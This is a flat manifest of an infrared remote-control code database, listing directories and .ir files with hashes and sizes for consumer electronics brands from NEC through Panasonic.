-F:4eaa40ea494b5b3f1c787c7362c5279c:3232:infrared/_CSV-IRDB_/NEC/VCR/4,-1.ir -F:113a2c6343cf5dbe6fa17859315f002c:11612:infrared/_CSV-IRDB_/NEC/Video Projector/24,233.ir -F:4dea451acf9f446e150de4c85434aff3:7612:infrared/_CSV-IRDB_/NEC/Video Projector/24,247.ir -D:infrared/_CSV-IRDB_/NET TV/TV -F:65387687c70b79fd824870dc3444a6df:2548:infrared/_CSV-IRDB_/NET TV/TV/2,-1.ir -D:infrared/_CSV-IRDB_/NTL/Unknown_DI4001N -F:d6dfabfef78777a26f774f8d6cb27da7:3346:infrared/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir -D:infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal -F:4cb5c1f61d5f8391a1c08496bdf4e1eb:3066:infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir -D:infrared/_CSV-IRDB_/Nagra/Unknown_TVA -F:3280b4f4ec8ed385192ca995278bbf80:3115:infrared/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir -D:infrared/_CSV-IRDB_/Nakamichi/Amplifier -D:infrared/_CSV-IRDB_/Nakamichi/CD Player -D:infrared/_CSV-IRDB_/Nakamichi/DVD Player -D:infrared/_CSV-IRDB_/Nakamichi/Receiver -D:infrared/_CSV-IRDB_/Nakamichi/Tuner -D:infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config -F:eac616ca5d18797c0c0a37ea921cb509:7677:infrared/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir -F:82b572424351c24527f83efd1c2e6bee:10518:infrared/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir -F:e3741d63a499ac54906c9f082f20f788:384:infrared/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir -F:f061d2d9a9162f140e0f1732aa00286b:3202:infrared/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir -F:4a3a0e128383bae2b3a10ec6f553ba6a:2722:infrared/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir -F:525b436214d612bf3e1d13dd5c602733:8869:infrared/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir -F:a4a34050dc6c54edef486f480c9bad1f:4039:infrared/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir -F:4a9fc8e84e5bbf44189d3cfa238dfc28:8120:infrared/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir -F:ba787f176867cb23a5f0843b7b774974:2166:infrared/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir -F:c74a12f862b0fab5b4a48ed3340b493b:921:infrared/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir -F:6d69a69b69b524dfbe66ebf756542fcc:2114:infrared/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir -F:45a747038b42867e221dd27b0e8e42d3:2150:infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir -D:infrared/_CSV-IRDB_/Napa/Unknown_DAV-309 -F:e697166fdeff3d2d0380204b6e4b839d:2866:infrared/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir -D:infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB -F:f1de39f1272e83239dc31fe59b8846aa:4917:infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir -D:infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer -F:509f4707849761941616a0d8f3e0f9dd:3011:infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir -D:infrared/_CSV-IRDB_/Nextwave/Unknown_EX300 -F:61c8e3c4c111b947e2a84b69651dfa20:2230:infrared/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir -D:infrared/_CSV-IRDB_/Nikko/Unknown_Nikko -F:0564381dfffaa8f8727ce094b7c5328b:1451:infrared/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir -D:infrared/_CSV-IRDB_/Niles Audio/Unknown -F:64d1b140505ba4da90e199f443c977f9:6000:infrared/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir -F:01c65d3f105ba7c58cabf9218fca229e:734:infrared/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir -D:infrared/_CSV-IRDB_/No Brand/Unknown_YK-001 -F:76db732fa0a71449cfd816a5f826fd5b:1898:infrared/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir -D:infrared/_CSV-IRDB_/Nokia/Satellite -D:infrared/_CSV-IRDB_/Nokia/Unknown_624 -D:infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S -D:infrared/_CSV-IRDB_/Nokia/Unknown_Nokia -D:infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620 -D:infrared/_CSV-IRDB_/Nokia/Unknown_RCN610 -D:infrared/_CSV-IRDB_/Nokia/Unknown_VCN620 -D:infrared/_CSV-IRDB_/Nokia/Unknown_VCR -F:c20a6b09c93d4052f93c02420d46d2df:361:infrared/_CSV-IRDB_/Nokia/Satellite/24,-1.ir -F:0dc9707754dbcfe86084c78497d67b19:371:infrared/_CSV-IRDB_/Nokia/Satellite/6,-1.ir -F:972c86d7a19192d363a9f893d5367830:2324:infrared/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir -F:3caea58aa529eaa99b38657e5d0b7db8:2841:infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir -F:cb4aea54b45b7c9cef7acde0fb8f1401:2382:infrared/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir -F:cc430f3f43435a88102639c563d65ea8:2494:infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir -F:94adba06dad4df10254d34b2f59a0dca:2814:infrared/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir -F:c479d1e9889163d555350ef5ca316e06:2502:infrared/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir -F:af9bf0850698871b1938dd703e6fa726:2695:infrared/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir -D:infrared/_CSV-IRDB_/Norcent/Unknown_DP -F:7209c0ca79fd771c313085eaf5ba8dc4:4010:infrared/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir -D:infrared/_CSV-IRDB_/NorthQ/Unknown_6400 -F:f60f8799c257cc372b5662c89742511f:3955:infrared/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir -D:infrared/_CSV-IRDB_/Novaplex/Cable Box -F:45f2a2d7a21c005e0bebb0ce4a95aac5:1986:infrared/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir -D:infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband -F:0c342ce31161269a0e0293da1f382629:3932:infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir -F:0435984d842b59c4aa8255aeab991782:3968:infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir -D:infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM -F:c69f3d66640958b7bd1c6a85a8e0b89a:124:infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir -D:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN -D:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL -F:20ef5fd75536cde2392d7c3e2d165d41:2263:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir -F:a36f4d7995dba9f74e80b97b5f9c7ac7:3158:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir -D:infrared/_CSV-IRDB_/Olympus/Unknown_RM-1 -D:infrared/_CSV-IRDB_/Olympus/Unknown_RM-2 -F:49dbe35103dff24615739b5acbe5f162:480:infrared/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir -F:58dafb14d2a191192df4504f24a52e2d:125:infrared/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir -D:infrared/_CSV-IRDB_/One For All/Unknown_7720 -D:infrared/_CSV-IRDB_/One For All/Unknown_For -D:infrared/_CSV-IRDB_/One For All/Unknown_One-For-All -D:infrared/_CSV-IRDB_/One For All/Unknown_Phillips -D:infrared/_CSV-IRDB_/One For All/Unknown_SAT -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-2510(12341) -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081 -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-3440 -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-5550 -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-6012w -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-7020 -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-7240 -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-7530 -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-7555 -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-7562 -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-7710 -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-8204.1300 -D:infrared/_CSV-IRDB_/One For All/Unknown_URC-8910 -D:infrared/_CSV-IRDB_/One For All/Unknown_VCR -D:infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d -D:infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150 -D:infrared/_CSV-IRDB_/One For All/Unknown_urc7562 -D:infrared/_CSV-IRDB_/One For All/Unknown_urc7730 -F:ddcd7729097b2edc0adb6d4b66475216:3053:infrared/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir -F:9424c92a75cb0e392df16c5ff2ef752a:3405:infrared/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir -F:3603c9b5db195dfcd932f39f962e8a6e:6868:infrared/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir -F:7f76c97274996bcf14b22a45cf9123e0:5624:infrared/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir -F:989b744a453d42053ac5dbb1f2ca8209:3141:infrared/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir -F:bfeb3e45616c0365f8470ff793dcd449:3065:infrared/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir -F:c49d46ea8983120eceffd006f7063f1e:594:infrared/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir -F:e2ba173c600c5de0561d4b021263c231:2861:infrared/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir -F:fadc10618ac6a441bcc9ab21c10ae3a7:2406:infrared/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir -F:873f12dbd5fa289261a92c0fcfdae06e:2760:infrared/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir -F:35ad296478d06a8a68b867a2c87dbdf2:2896:infrared/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir -F:bb67afe3b7f8e534ade74a1a8f63fa98:2959:infrared/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir -F:4e9f6cb93546546879acc71e972140e0:3058:infrared/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir -F:713943551364e50d680a8f038ece300a:2242:infrared/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir -F:1eef5c856e3ca7fa71ec01f7914c5845:3955:infrared/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir -F:2e69f7660116ec4613cd149ba01eb60f:3565:infrared/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir -F:7e8dac714dc54eb4c09d2c32d3f8a85b:3012:infrared/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir -F:f62b534a814410581544a1019318d26b:3146:infrared/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir -F:bd1fb2553cb8206517119fea86cdf8a3:3234:infrared/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir -F:8ac08f6bce9f972674e1b13bca8d57b3:3432:infrared/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir -F:9b08b64ab845c5a3494ee6511ba30ec4:3317:infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir -F:7a0b53b0139f318748a44276db177055:2783:infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir -F:0e9ccacc8cc06b11af50cbf44795f0c1:2784:infrared/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir -F:611c3b16644ef64878e827e18ba08459:3053:infrared/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir -D:infrared/_CSV-IRDB_/Onida/Unknown_DFX -D:infrared/_CSV-IRDB_/Onida/Unknown_TVE -F:89aaa9ad7bd3abb5ed9a6dab2e4ad270:4290:infrared/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir -F:21a43b94a2e589b0ced3e1f0bc42bb30:2512:infrared/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir -D:infrared/_CSV-IRDB_/Onkyo/Amplifier -D:infrared/_CSV-IRDB_/Onkyo/CD Player -D:infrared/_CSV-IRDB_/Onkyo/Cassette Tape -D:infrared/_CSV-IRDB_/Onkyo/DVD Player -D:infrared/_CSV-IRDB_/Onkyo/Laser Disc -D:infrared/_CSV-IRDB_/Onkyo/Receiver -D:infrared/_CSV-IRDB_/Onkyo/Tuner -D:infrared/_CSV-IRDB_/Onkyo/Unknown -D:infrared/_CSV-IRDB_/Onkyo/Unknown_CR-70R -D:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo -D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-104C -D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-146T -D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-184s -D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-425DV -D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50 -D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M -D:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s -D:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s -F:62d01ed77c9c3322a15481b0f6a7a715:301:infrared/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir -F:0853498a8fc5cf688c9905660a347805:7130:infrared/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir -F:519ca72ebaed27b8aad06eb976d803fd:2005:infrared/_CSV-IRDB_/Onkyo/CD Player/132,117.ir -F:a87a18b7db037b82026694c846990853:3150:infrared/_CSV-IRDB_/Onkyo/CD Player/210,109.ir -F:31bab011a63f1f9676a165b461db2c51:5418:infrared/_CSV-IRDB_/Onkyo/CD Player/210,13.ir -F:41f744be10c35c428c88bc3393fa6a2b:5678:infrared/_CSV-IRDB_/Onkyo/CD Player/210,44.ir -F:a384bcb9a097d6208c37c681c3d71ae5:4132:infrared/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir -F:cdd2ef6254c77b4ead9cd19196000d4f:842:infrared/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir -F:b7bb1f035e14602e8751a02fd649659f:3661:infrared/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir -F:c54f63de8ad5da5df471a5b73c37bb9e:127:infrared/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir -F:362f1481338309caaff5ca0c75917240:3155:infrared/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir -F:3e1399fbe51042661e19c80d128c643b:2457:infrared/_CSV-IRDB_/Onkyo/Receiver/210,108.ir -F:17d53f55e1cffb5afa3d794cd6d09f93:23656:infrared/_CSV-IRDB_/Onkyo/Receiver/210,109.ir -F:1d5d9f2ef5b74f916e7517f188c5097a:2788:infrared/_CSV-IRDB_/Onkyo/Tuner/210,109.ir -F:c1ea25b9a8dce9b9946311409a59bbdc:4906:infrared/_CSV-IRDB_/Onkyo/Tuner/210,37.ir -F:da08ee62cab4d42533b8ec254b5e9aef:9359:infrared/_CSV-IRDB_/Onkyo/Unknown/210,109.ir -F:607c83d4cd418aa2cf1170699cdca0d0:2710:infrared/_CSV-IRDB_/Onkyo/Unknown/210,44.ir -F:0c0f392e9cd389669aa9e159dd17b5ae:2823:infrared/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir -F:6eb79f6e39483a9b1776d2ec0a823c52:2157:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir -F:c7591ea8d0b4c420593c0652c3d28966:2899:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir -F:2560208a0713fe3a5f0ea55788efefe6:2505:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir -F:4550984d4f4a3fb4909824631c134cbd:1889:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir -F:abee6b5ac7d17e9a9ffe4010e4f07c27:852:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir -F:5a6283b6d5fa6990d83f87b6ee955410:402:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir -F:4256d1f818579c5030df89e4a73dd543:4820:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir -F:aab99631abc93ccf6e67a6ffd31dc222:2054:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir -F:76ec94974c86aea7e5eac073c38c146e:3219:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir -F:0674650a03547b953a047ceee057305f:3616:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir -F:82538c49d4e70376561f88b1fd1dc5f5:4409:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir -D:infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer -D:infrared/_CSV-IRDB_/Onkyo Integra/Receiver -F:de6ec0d88fe7820201e95502d0c38507:4382:infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir -F:3f5d80237ec8396eea6b3b124f6a4d87:1005:infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir -F:2a261526da22a80ec75c861306ff5eb8:1800:infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir -D:infrared/_CSV-IRDB_/Optex/Unknown_ORT -F:44428512633f5334c8bf350c8f42648d:3153:infrared/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir -D:infrared/_CSV-IRDB_/PHAST/PLR-IR1 -F:9dca7c032d8c811efd4631c16b77dddf:11633:infrared/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir -D:infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro -F:bd4e144117417321ae96244e2a3b97da:4454:infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir -D:infrared/_CSV-IRDB_/PS Audio/CD Player -F:fa94f8c1d1ff9e7261bbf50024113846:1819:infrared/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir -D:infrared/_CSV-IRDB_/Pace/Unknown_DC551P -D:infrared/_CSV-IRDB_/Pace/Unknown_DI4001N -D:infrared/_CSV-IRDB_/Pace/Unknown_DI4010I -D:infrared/_CSV-IRDB_/Pace/Unknown_DS420 -D:infrared/_CSV-IRDB_/Pace/Unknown_DS620 -D:infrared/_CSV-IRDB_/Pace/Unknown_Digital -D:infrared/_CSV-IRDB_/Pace/Unknown_PACE-RC-10 -D:infrared/_CSV-IRDB_/Pace/Unknown_PaceMSS -D:infrared/_CSV-IRDB_/Pace/Unknown_RC-17 -D:infrared/_CSV-IRDB_/Pace/Unknown_RC-30 -D:infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ -D:infrared/_CSV-IRDB_/Pace/Unknown_pacetwin -D:infrared/_CSV-IRDB_/Pace/Unknown_xsat -F:72b6e682c1346ecd3805bf1170518f50:984:infrared/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir -F:5f9639205855bfe36d4d4680bdbd8464:3423:infrared/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir -F:8a0e047cedf8bbae1e22e903a459a6ef:3418:infrared/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir -F:9ed190c596cf3b3c9bc8c63a96f3607a:2851:infrared/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir -F:5796cdf7df6e438b3fd11dc888b72f61:2773:infrared/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir -F:462abc8641321f432912bc14b371e8ec:2746:infrared/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir -F:2bcf409136d7d1a48f59b739d3dc1001:2583:infrared/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir -F:a970529bd168674b16217c88e601b5d7:4917:infrared/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir -F:8418c700985aec1873ba6ceb7fa95e1b:2338:infrared/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir -F:581a758a455ed6aa3654ac5874b825eb:2880:infrared/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir -F:27f92483915b23303b9928450faad04f:3607:infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir -F:1b7efcd0193ce3217d86a0d9dfa543dd:4126:infrared/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir -F:77125005f444411c78ad784389000be3:3215:infrared/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir -D:infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell -F:45a9c0e4862a9483abc27b3669ad8d94:3042:infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir -D:infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6 -F:78d5b46a3c59f4b524b67dfd503d5b30:3148:infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir -D:infrared/_CSV-IRDB_/Panasonic/DVD Player -D:infrared/_CSV-IRDB_/Panasonic/HDTV Tuner -D:infrared/_CSV-IRDB_/Panasonic/Laser Disc -D:infrared/_CSV-IRDB_/Panasonic/Receiver -D:infrared/_CSV-IRDB_/Panasonic/TV -D:infrared/_CSV-IRDB_/Panasonic/Unknown_CARC60EX -D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR57510 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642162 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642195 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643820 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643826 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7617010 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7621010 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7631010 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_NV-F65 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC -D:infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W -D:infrared/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W -D:infrared/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B -D:infrared/_CSV-IRDB_/Panasonic/Unknown_RX-ED70 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_TV -D:infrared/_CSV-IRDB_/Panasonic/Unknown_VCR -D:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ0910 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1309 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1697 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ2380 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_VSQS0531 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_cd -D:infrared/_CSV-IRDB_/Panasonic/Unknown_panas928 -D:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W -D:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf -D:infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249 -D:infrared/_CSV-IRDB_/Panasonic/VCR -F:239a78f4f807af4e5423a569f653de68:566:infrared/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir -F:599d9b0474c86724822dcd96d3bcad52:998:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir -F:2fd390021f16e41aa22d9d1a765b1104:121:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir -F:06357212ac6291804612ed47b8db62da:317:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir -F:e909cabbc4cfcbb7c9cc51278a360acf:1737:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir -F:5f94b729d8af653ca71b09bda7ffeaa0:2947:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir -F:6d228364dcb1f4ca92757205ad0d2728:298:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir -F:a2b72c0b52bae4c2b6ca2d72e9c9a218:8165:infrared/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir -F:5452aa2a59bc4497c0798aeed36235f0:2095:infrared/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir -F:ec9bcd5b95e860ee5a8f9c507cebd7e8:3322:infrared/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir -F:33bd1e31be3978386358faabe2f8eedf:635:infrared/_CSV-IRDB_/Panasonic/Receiver/160,0.ir -F:94b0e372cdda066cee1f97fc447150c7:127:infrared/_CSV-IRDB_/Panasonic/Receiver/160,28.ir -F:302df789da38ff1b1d679494b546ab33:305:infrared/_CSV-IRDB_/Panasonic/Receiver/160,4.ir -F:4506c6588055e8c81b71a6b6199a87ce:8486:infrared/_CSV-IRDB_/Panasonic/TV/128,0.ir -F:303b48baed2f3f341ab701dbeb0b8017:1186:infrared/_CSV-IRDB_/Panasonic/TV/128,1.ir -F:826c8730530422a13f1ab26503791ef9:1261:infrared/_CSV-IRDB_/Panasonic/TV/128,4.ir -F:c8c094d3858a162ba1122a292822e44b:2199:infrared/_CSV-IRDB_/Panasonic/TV/128,9.ir -F:5b9e36476c952cb709e602483fbe44ac:762:infrared/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir -F:75c840e437cbf69ba9d1a27545cd72d3:1037:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir -F:3c876c934f02ce67ca5d030965bcd8d8:2523:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir -F:18584517357a201a541eab30383e01c0:3420:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir -F:3b9b065e48048415213e9a2291fdecab:2439:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir -F:47245c3614bd0a11a2822e27268acfd2:2345:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir -F:f5c3f5782a6d5f311c9526db398a9ed4:4375:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir -F:79a0f57e812bc3a95ad8661048568e4a:3935:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir -F:6efbd00d797095a9416625ff5098682b:2882:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir -F:1abcb218d33e3191a134898599d1cf54:1764:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir -F:84ab5a90d7e24b2e89921e21dbc3ee79:1468:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir -F:5e9188002045aa555dc3237ff3352e66:3162:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir -F:85a21088b60b1d51d95c827e9ae30469:1747:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir -F:cf14811273acc0016e63f8de8a74404b:2680:infrared/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir -F:adf629ba43f8914f3c9ff35cdacc4134:2248:infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir -F:ffdbc1f36192f3befdbc6656e2175d42:4408:infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir -F:4786d24e38636f52e281de1b1e9c943d:1035:infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir -F:1f65f2cceaa4ca82e473fbfd3c4a3b26:3309:infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir -F:82e72204ab61092a1de2862debd8a46a:3298:infrared/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir -F:73540e891b4a44adb2372b79a12a897d:3479:infrared/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir -F:5dd004d45a0ae9b6959292461d82ad6f:2400:infrared/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir -F:9e1758f0a3896d7e0141c30644247245:1810:infrared/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir -F:70bbf7097d8ca603ec040c34301b74bd:3314:infrared/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir -F:5116a815e1e9f67a50a9f9be2b10ec90:2947:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir 